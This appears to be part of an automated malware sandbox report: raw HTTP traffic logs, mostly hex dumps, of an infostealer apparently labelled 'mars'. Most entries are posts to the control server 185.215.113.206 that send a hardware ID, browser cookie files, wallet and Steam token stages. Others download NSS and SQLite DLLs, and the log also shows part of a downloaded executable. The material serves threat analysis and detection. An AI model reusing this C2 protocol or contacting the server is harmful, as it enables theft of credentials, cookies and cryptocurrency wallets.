00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 62 6a 77 74 6e 65 69 00 90 1a 00 00 e0 31 00 00 8a 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6a 64 6a 67 72 73 68 00 10 00 00 00 70 4c 00 00 04 00 00 00 80 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4c 00 00 22 00 00 00 84 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 00:43:10 GMTContent-Type: application/octet-streamContent-Length: 4375040Last-Modified: Mon, 25 Nov 2024 21:29:06 GMTConnection: keep-aliveETag: "6744ec22-42c200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 da f8 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 2f c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 2f c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 67 72 63 71 65 75 6d 00 10 1b 00 00 20 a9 00 00 10 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6c 67 76 66 61 61 64 00 10 00 00 00 30 c4 00 00 04 00 00 00 9c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c4 00 00 22 00 00 00 a0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 31 33 30 33 46 43 41 45 36 35 44 32 35 39 34 32 34 38 33 34 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="hwid"21303FCAE65D2594248341------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="build"mars------EBGIDGCAFCBKECAAKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="message"browsers------EBGCGHIDHCBFHIDGHCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="message"plugins------IECBGIDAEHCGDGCBKEBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="message"fplugins------AKFIDHDGIEGCAKFIIJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBFHost: 185.215.113.206Content-Length: 7191Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGCAAFBFBKFIDGDHJDBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file"------IIECFHDBAAECAAKFHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCBAECGIEBKKFHIDAKEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="file"------EGDBAFHJJDAKEBGCFCBG--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="message"wallets------BAAFCAFCBKFHJJJKKFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="message"files------GCAFCAFHJJDBFIECFBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; 